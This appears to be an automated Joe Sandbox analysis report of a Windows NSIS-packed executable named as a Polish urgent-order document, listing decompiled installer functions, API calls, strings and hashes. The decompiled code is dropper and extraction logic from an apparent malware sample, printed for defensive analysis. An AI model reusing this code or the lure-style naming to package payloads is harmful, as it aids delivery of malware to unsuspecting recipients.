                                                                                              0x0040376e
                                                                                              0x00403774
                                                                                              0x0040379c
                                                                                              0x004037a4
                                                                                              0x00000000
                                                                                              0x00403786
                                                                                              0x00403787
                                                                                              0x00403790
                                                                                              0x00403796
                                                                                              0x00403797
                                                                                              0x00000000
                                                                                              0x00403797
                                                                                              0x00403792
                                                                                              0x00403794
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403794
                                                                                              0x00403774

                                                                                              APIs
                                                                                                • Part of subcall function 00406092: GetModuleHandleA.KERNEL32(?,?,?,00403143,00000009), ref: 004060A4
                                                                                                • Part of subcall function 00406092: GetProcAddress.KERNEL32(00000000,?), ref: 004060BF
                                                                                              • GetUserDefaultUILanguage.KERNELBASE(00000002,76283410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe",00000000), ref: 00403693
                                                                                                • Part of subcall function 00405C57: wsprintfA.USER32 ref: 00405C64
                                                                                              • lstrcatA.KERNEL32(1033,Staalbrylluppets Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Staalbrylluppets Setup: Installing,00000000,00000002,76283410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe",00000000), ref: 004036F4
                                                                                              • lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\Pacifisterne\Automatcafeer,1033,Staalbrylluppets Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Staalbrylluppets Setup: Installing,00000000,00000002,76283410), ref: 00403769
                                                                                              • lstrcmpiA.KERNEL32(?,.exe), ref: 0040377C
                                                                                              • GetFileAttributesA.KERNEL32(Call), ref: 00403787
                                                                                              • LoadImageA.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\Pacifisterne\Automatcafeer), ref: 004037D0
                                                                                              • RegisterClassA.USER32(00422EA0), ref: 0040380D
                                                                                              • SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403825
                                                                                              • CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 0040385A
                                                                                              • ShowWindow.USER32(00000005,00000000), ref: 00403890
                                                                                              • GetClassInfoA.USER32(00000000,RichEdit20A,00422EA0), ref: 004038BC
                                                                                              • GetClassInfoA.USER32(00000000,RichEdit,00422EA0), ref: 004038C9
                                                                                              • RegisterClassA.USER32(00422EA0), ref: 004038D2
                                                                                              • DialogBoxParamA.USER32(?,00000000,00403A0B,00000000), ref: 004038F1
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
                                                                                              • String ID: "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Pacifisterne\Automatcafeer$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$Staalbrylluppets Setup: Installing$_Nb
                                                                                              • API String ID: 606308-2913221508
                                                                                              • Opcode ID: e4151876de315e89be32e480170f8b472b72c03f6efbd502ccd32cfa15b0bd58
                                                                                              • Instruction ID: cdcda0c5d6d895e27caec97b3fe99e3f57ebd92391a3aca4eab7d54baf018be6
                                                                                              • Opcode Fuzzy Hash: e4151876de315e89be32e480170f8b472b72c03f6efbd502ccd32cfa15b0bd58
                                                                                              • Instruction Fuzzy Hash: FA61C8B16442007ED620BF669D45F373AACEB44759F40447FF941B22E2C77CAD029A2D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402C66 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 182COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 355 402c66-402cb4 GetTickCount GetModuleFileNameA call 40596c 358 402cc0-402cee call 405cf9 call 4057b2 call 405cf9 GetFileSize 355->358 359 402cb6-402cbb 355->359 367 402cf4 358->367 368 402ddb-402de9 call 402c02 358->368 360 402e98-402e9c 359->360 370 402cf9-402d10 367->370 374 402deb-402dee 368->374 375 402e3e-402e43 368->375 372 402d12 370->372 373 402d14-402d1d call 40307b 370->373 372->373 382 402d23-402d2a 373->382 383 402e45-402e4d call 402c02 373->383 377 402df0-402e08 call 403091 call 40307b 374->377 378 402e12-402e3c GlobalAlloc call 403091 call 402e9f 374->378 375->360 377->375 405 402e0a-402e10 377->405 378->375 404 402e4f-402e60 378->404 387 402da6-402daa 382->387 388 402d2c-402d40 call 405927 382->388 383->375 393 402db4-402dba 387->393 394 402dac-402db3 call 402c02 387->394 388->393 402 402d42-402d49 388->402 395 402dc9-402dd3 393->395 396 402dbc-402dc6 call 406107 393->396 394->393 395->370 403 402dd9 395->403 396->395 402->393 408 402d4b-402d52 402->408 403->368 409 402e62 404->409 410 402e68-402e6d 404->410 405->375 405->378 408->393 411 402d54-402d5b 408->411 409->410 412 402e6e-402e74 410->412 411->393 413 402d5d-402d64 411->413 412->412 414 402e76-402e91 SetFilePointer call 405927 412->414 413->393 415 402d66-402d86 413->415 418 402e96 414->418 415->375 417 402d8c-402d90 415->417 419 402d92-402d96 417->419 420 402d98-402da0 417->420 418->360 419->403 419->420 420->393 421 402da2-402da4 420->421 421->393
                                                                                              C-Code - Quality: 80%
                                                                                              			E00402C66(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\Arthur\\Desktop\\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe";
				 *0x42370c = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\Arthur\\Desktop\\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe", 0x400);
				_t89 = E0040596C(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409018 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\Arthur\\Desktop";
				E00405CF9("C:\\Users\\Arthur\\Desktop", _t91);
				E00405CF9("Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe", E004057B2(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x4168c4 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402C02("true");
					__eflags =  *0x423714 - _t82;
					if( *0x423714 == _t82) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						E00403091( *0x423714 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E00402E9F(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x423710 = _t94;
							 *0x423718 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x42371c =  *0x42371c + 1;
								__eflags =  *0x42371c;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, "true"); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405927(0x423720, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E00403091( *0x40a8b8);
					_t65 = E0040307B( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x423714) & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E0040307B(0x4168c8, _t90);
						__eflags = _t71;
						if(_t71 == 0) {
							E00402C02("true");
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x423714;
						if( *0x423714 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402C02(0);
							}
							goto L20;
						}
						E00405927( &_v44, 0x4168c8, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x40a8b8; // 0xa306e
						 *0x4237a0 =  *0x4237a0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x423714 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t24 = _t80 - 4; // 0x409194
							_t93 = _t24;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x4168c4; // 0xa37a0
						if(__eflags < 0) {
							_v12 = E00406107(_v12, 0x4168c8, _t90);
						}
						 *0x40a8b8 =  *0x40a8b8 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 > 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}































                                                                                              0x00402c6e
                                                                                              0x00402c71
                                                                                              0x00402c74
                                                                                              0x00402c77
                                                                                              0x00402c7d
                                                                                              0x00402c8e
                                                                                              0x00402c93
                                                                                              0x00402ca6
                                                                                              0x00402cab
                                                                                              0x00402cae
                                                                                              0x00402cb4
                                                                                              0x00000000
                                                                                              0x00402cb6
                                                                                              0x00402cc1
                                                                                              0x00402cc7
                                                                                              0x00402cd8
                                                                                              0x00402cdf
                                                                                              0x00402ce5
                                                                                              0x00402ce7
                                                                                              0x00402cec
                                                                                              0x00402cee
                                                                                              0x00402ddb
                                                                                              0x00402ddd
                                                                                              0x00402de2
                                                                                              0x00402de9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402deb
                                                                                              0x00402dee
                                                                                              0x00402e12
                                                                                              0x00402e17
                                                                                              0x00402e1d
                                                                                              0x00402e28
                                                                                              0x00402e2d
                                                                                              0x00402e30
                                                                                              0x00402e31
                                                                                              0x00402e32
                                                                                              0x00402e34
                                                                                              0x00402e39
                                                                                              0x00402e3c
                                                                                              0x00402e4f
                                                                                              0x00402e53
                                                                                              0x00402e5b
                                                                                              0x00402e60
                                                                                              0x00402e62
                                                                                              0x00402e62
                                                                                              0x00402e62
                                                                                              0x00402e6a
                                                                                              0x00402e6a
                                                                                              0x00402e6d
                                                                                              0x00402e6e
                                                                                              0x00402e6e
                                                                                              0x00402e71
                                                                                              0x00402e73
                                                                                              0x00402e73
                                                                                              0x00402e73
                                                                                              0x00402e7d
                                                                                              0x00402e83
                                                                                              0x00402e91
                                                                                              0x00402e96
                                                                                              0x00000000
                                                                                              0x00402e96
                                                                                              0x00000000
                                                                                              0x00402e3c
                                                                                              0x00402df6
                                                                                              0x00402e01
                                                                                              0x00402e06
                                                                                              0x00402e08
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402e0d
                                                                                              0x00402e10
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402cf4
                                                                                              0x00402cf9
                                                                                              0x00402cfe
                                                                                              0x00402d02
                                                                                              0x00402d09
                                                                                              0x00402d0e
                                                                                              0x00402d10
                                                                                              0x00402d12
                                                                                              0x00402d12
                                                                                              0x00402d16
                                                                                              0x00402d1b
                                                                                              0x00402d1d
                                                                                              0x00402e47
                                                                                              0x00402e3e
                                                                                              0x00000000
                                                                                              0x00402e3e
                                                                                              0x00402d23
                                                                                              0x00402d2a
                                                                                              0x00402da6
                                                                                              0x00402daa
                                                                                              0x00402dae
                                                                                              0x00402db3
                                                                                              0x00000000
                                                                                              0x00402daa
                                                                                              0x00402d33
                                                                                              0x00402d38
                                                                                              0x00402d3b
                                                                                              0x00402d40
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402d42
                                                                                              0x00402d49
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402d4b
                                                                                              0x00402d52
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402d54
                                                                                              0x00402d5b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402d5d
                                                                                              0x00402d64
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402d66
                                                                                              0x00402d6c
                                                                                              0x00402d75
                                                                                              0x00402d7b
                                                                                              0x00402d7e
                                                                                              0x00402d80
                                                                                              0x00402d86
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402d8c
                                                                                              0x00402d90
                                                                                              0x00402d98
                                                                                              0x00402d98
                                                                                              0x00402d9b
                                                                                              0x00402d9b
                                                                                              0x00402d9e
                                                                                              0x00402da0
                                                                                              0x00402da2
                                                                                              0x00402da2
                                                                                              0x00000000
                                                                                              0x00402da0
                                                                                              0x00402d92
                                                                                              0x00402d96
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402db4
                                                                                              0x00402db4
                                                                                              0x00402dba
                                                                                              0x00402dc6
                                                                                              0x00402dc6
                                                                                              0x00402dc9
                                                                                              0x00402dcf
                                                                                              0x00402dd1
                                                                                              0x00402dd1
                                                                                              0x00402dd9
                                                                                              0x00402dd9
                                                                                              0x00000000
                                                                                              0x00402dd9

                                                                                              APIs
                                                                                              • GetTickCount.KERNEL32 ref: 00402C77
                                                                                              • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,00000400), ref: 00402C93
                                                                                                • Part of subcall function 0040596C: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,80000000,00000003), ref: 00405970
                                                                                                • Part of subcall function 0040596C: CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405992
                                                                                              • GetFileSize.KERNEL32(00000000,00000000,Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,80000000,00000003), ref: 00402CDF
                                                                                              Strings
                                                                                              • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E3E
                                                                                              • Error launching installer, xrefs: 00402CB6
                                                                                              • C:\Users\user\AppData\Local\Temp\, xrefs: 00402C6D
                                                                                              • n0, xrefs: 00402D6C, 00402DC9
                                                                                              • "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe", xrefs: 00402C66
                                                                                              • C:\Users\user\Desktop, xrefs: 00402CC1, 00402CC6, 00402CCC
                                                                                              • soft, xrefs: 00402D54
                                                                                              • C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, xrefs: 00402C7D, 00402C8C, 00402CA0, 00402CC0
                                                                                              • Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, xrefs: 00402CD3
                                                                                              • Null, xrefs: 00402D5D
                                                                                              • Inst, xrefs: 00402D4B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$AttributesCountCreateModuleNameSizeTick
                                                                                              • String ID: "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe$n0$soft
                                                                                              • API String ID: 4283519449-2973361004
                                                                                              • Opcode ID: 3f665217ac2245ad92c498c6fa1e551097c863ebe5e03bc44dd447b4a8322165
                                                                                              • Instruction ID: 1839f4375b44da3097aca9d4a8c6c84b0463c2d100b7a2d698c12080187f488f
                                                                                              • Opcode Fuzzy Hash: 3f665217ac2245ad92c498c6fa1e551097c863ebe5e03bc44dd447b4a8322165
                                                                                              • Instruction Fuzzy Hash: BF51B6B1A41214ABDF109F65DE89B9E7AB4EF00355F14403BF904B62D1C7BC9E418B9D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00401751 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147stringtimeCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 553 401751-401774 call 402a3a call 4057d8 558 401776-40177c call 405cf9 553->558 559 40177e-401790 call 405cf9 call 40576b lstrcatA 553->559 564 401795-40179b call 405f64 558->564 559->564 569 4017a0-4017a4 564->569 570 4017a6-4017b0 call 405ffd 569->570 571 4017d7-4017da 569->571 579 4017c2-4017d4 570->579 580 4017b2-4017c0 CompareFileTime 570->580 572 4017e2-4017fe call 40596c 571->572 573 4017dc-4017dd call 405947 571->573 581 401800-401803 572->581 582 401876-40189f call 404f12 call 402e9f 572->582 573->572 579->571 580->579 583 401805-401847 call 405cf9 * 2 call 405d1b call 405cf9 call 4054ef 581->583 584 401858-401862 call 404f12 581->584 596 4018a1-4018a5 582->596 597 4018a7-4018b3 SetFileTime 582->597 583->569 616 40184d-40184e 583->616 594 40186b-401871 584->594 599 4028d8 594->599 596->597 598 4018b9-4018c4 CloseHandle 596->598 597->598 601 4018ca-4018cd 598->601 602 4028cf-4028d2 598->602 603 4028da-4028de 599->603 605 4018e2-4018e5 call 405d1b 601->605 606 4018cf-4018e0 call 405d1b lstrcatA 601->606 602->599 612 4018ea-402269 605->612 606->612 617 40226e-402273 612->617 618 402269 call 4054ef 612->618 616->594 619 401850-401851 616->619 617->603 618->617 619->584
                                                                                              C-Code - Quality: 61%
                                                                                              			E00401751(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				CHAR* _t83;
				void* _t85;

				_t75 = __ebx;
				_t82 = E00402A3A(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x28) & 0x00000007;
				_t33 = E004057D8(_t82);
				_push(_t82);
				_t83 = "Call";
				if(_t33 == 0) {
					lstrcatA(E0040576B(E00405CF9(_t83, "C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer\\Syntaksgenkendelsernes\\Temposkifterne")), ??);
				} else {
					E00405CF9();
				}
				E00405F64(_t83);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405FFD(_t83);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x1c);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405947(_t83);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E0040596C(_t83, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0xc) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404F12(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x423788;
						goto L32;
					} else {
						E00405CF9(0x409be8, 0x424000);
						E00405CF9(0x424000, _t83);
						E00405D1B(_t75, 0x409be8, _t83, "C:\Users\Arthur\AppData\Local\Temp\nsgB1F9.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x14)));
						E00405CF9(0x424000, 0x409be8);
						_t62 = E004054EF("C:\Users\Arthur\AppData\Local\Temp\nsgB1F9.tmp\System.dll",  *(_t85 - 0x28) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x423788 =  &( *0x423788->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(_t83);
								_push(0xfffffffa);
								E00404F12();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404F12(0xffffffea,  *(_t85 - 8));
				 *0x4237b4 =  *0x4237b4 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 0xc));
				_push( *((intOrPtr*)(_t85 - 0x20)));
				_t43 = E00402E9F(); // executed
				 *0x4237b4 =  *0x4237b4 - 1;
				__eflags =  *(_t85 - 0x1c) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0xc), _t85 - 0x1c, _t75, _t85 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t85 - 0xc)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E00405D1B(_t75, _t80, _t83, _t83, 0xffffffee);
					} else {
						E00405D1B(_t75, _t80, _t83, _t83, 0xffffffe9);
						lstrcatA(_t83,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(_t83);
					E004054EF();
					goto L29;
				}
				goto L33;
			}

















                                                                                              0x00401751
                                                                                              0x00401758
                                                                                              0x00401761
                                                                                              0x00401764
                                                                                              0x00401767
                                                                                              0x0040176c
                                                                                              0x0040176d
                                                                                              0x00401774
                                                                                              0x00401790
                                                                                              0x00401776
                                                                                              0x00401777
                                                                                              0x00401777
                                                                                              0x00401796
                                                                                              0x004017a0
                                                                                              0x004017a0
                                                                                              0x004017a4
                                                                                              0x004017a7
                                                                                              0x004017ac
                                                                                              0x004017ae
                                                                                              0x004017b0
                                                                                              0x004017b5
                                                                                              0x004017b5
                                                                                              0x004017c0
                                                                                              0x004017c0
                                                                                              0x004017d1
                                                                                              0x004017d3
                                                                                              0x004017d3
                                                                                              0x004017d4
                                                                                              0x004017d4
                                                                                              0x004017d7
                                                                                              0x004017da
                                                                                              0x004017dd
                                                                                              0x004017dd
                                                                                              0x004017e4
                                                                                              0x004017f3
                                                                                              0x004017f8
                                                                                              0x004017fb
                                                                                              0x004017fe
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00401800
                                                                                              0x00401803
                                                                                              0x0040185d
                                                                                              0x00401862
                                                                                              0x004015a8
                                                                                              0x004026a6
                                                                                              0x004026a6
                                                                                              0x004028cf
                                                                                              0x004028d2
                                                                                              0x004028d2
                                                                                              0x00000000
                                                                                              0x00401805
                                                                                              0x0040180b
                                                                                              0x00401816
                                                                                              0x00401823
                                                                                              0x0040182e
                                                                                              0x00401844
                                                                                              0x00401844
                                                                                              0x00401847
                                                                                              0x00000000
                                                                                              0x0040184d
                                                                                              0x0040184d
                                                                                              0x0040184e
                                                                                              0x0040186b
                                                                                              0x004028d8
                                                                                              0x004028d8
                                                                                              0x004028d8
                                                                                              0x00401850
                                                                                              0x00401850
                                                                                              0x00401851
                                                                                              0x00401492
                                                                                              0x0040226e
                                                                                              0x0040226e
                                                                                              0x0040226e
                                                                                              0x0040184e
                                                                                              0x00401847
                                                                                              0x004028da
                                                                                              0x004028de
                                                                                              0x004028de
                                                                                              0x0040187b
                                                                                              0x00401880
                                                                                              0x00401886
                                                                                              0x00401887
                                                                                              0x00401888
                                                                                              0x0040188b
                                                                                              0x0040188e
                                                                                              0x00401893
                                                                                              0x00401899
                                                                                              0x0040189d
                                                                                              0x0040189f
                                                                                              0x004018a7
